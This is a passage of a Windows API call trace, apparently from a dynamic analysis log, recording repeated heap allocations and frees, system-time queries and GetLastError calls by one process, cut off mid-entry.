[0037.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b57c0, dwHighDateTime=0x1d595b2)) [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b57c0, dwHighDateTime=0x1d595b2)) [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b57c0, dwHighDateTime=0x1d595b2)) [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b57c0, dwHighDateTime=0x1d595b2)) [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.406] GetLastError () returned 0x578 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe080 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22fe068 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22fe098 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b7ed0, dwHighDateTime=0x1d595b2)) [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b7ed0, dwHighDateTime=0x1d595b2)) [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b7ed0, dwHighDateTime=0x1d595b2)) [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b7ed0, dwHighDateTime=0x1d595b2)) [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.407] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b7ed0, dwHighDateTime=0x1d595b2)) [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b7ed0, dwHighDateTime=0x1d595b2)) [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9ba5e0, dwHighDateTime=0x1d595b2)) [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.408] GetLastError () returned 0x578 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe080 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22fe068 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22fe098 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.408] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.408] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9ba5e0, dwHighDateTime=0x1d595b2)) [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9ba5e0, dwHighDateTime=0x1d595b2)) [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9ba5e0, dwHighDateTime=0x1d595b2)) [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9ba5e0, dwHighDateTime=0x1d595b2)) [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9ba5e0, dwHighDateTime=0x1d595b2)) [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9ba5e0, dwHighDateTime=0x1d595b2)) [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9ba5e0, dwHighDateTime=0x1d595b2)) [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.409] GetLastError () returned 0x578 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.409] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.409] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe080 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22fe068 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22fe098 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9ba5e0, dwHighDateTime=0x1d595b2)) [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9ba5e0, dwHighDateTime=0x1d595b2)) [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9bccf0, dwHighDateTime=0x1d595b2)) [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9bccf0, dwHighDateTime=0x1d595b2)) [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.410] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.410] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9bccf0, dwHighDateTime=0x1d595b2)) [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9bccf0, dwHighDateTime=0x1d595b2)) [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9bf400, dwHighDateTime=0x1d595b2)) [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.411] GetLastError () returned 0x578 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe080 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22fe068 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22fe098 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.411] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.411] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9bf400, dwHighDateTime=0x1d595b2)) [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9bf400, dwHighDateTime=0x1d595b2)) [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9bf400, dwHighDateTime=0x1d595b2)) [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.412] HeapFree (in: hHeap=0x22f0000, 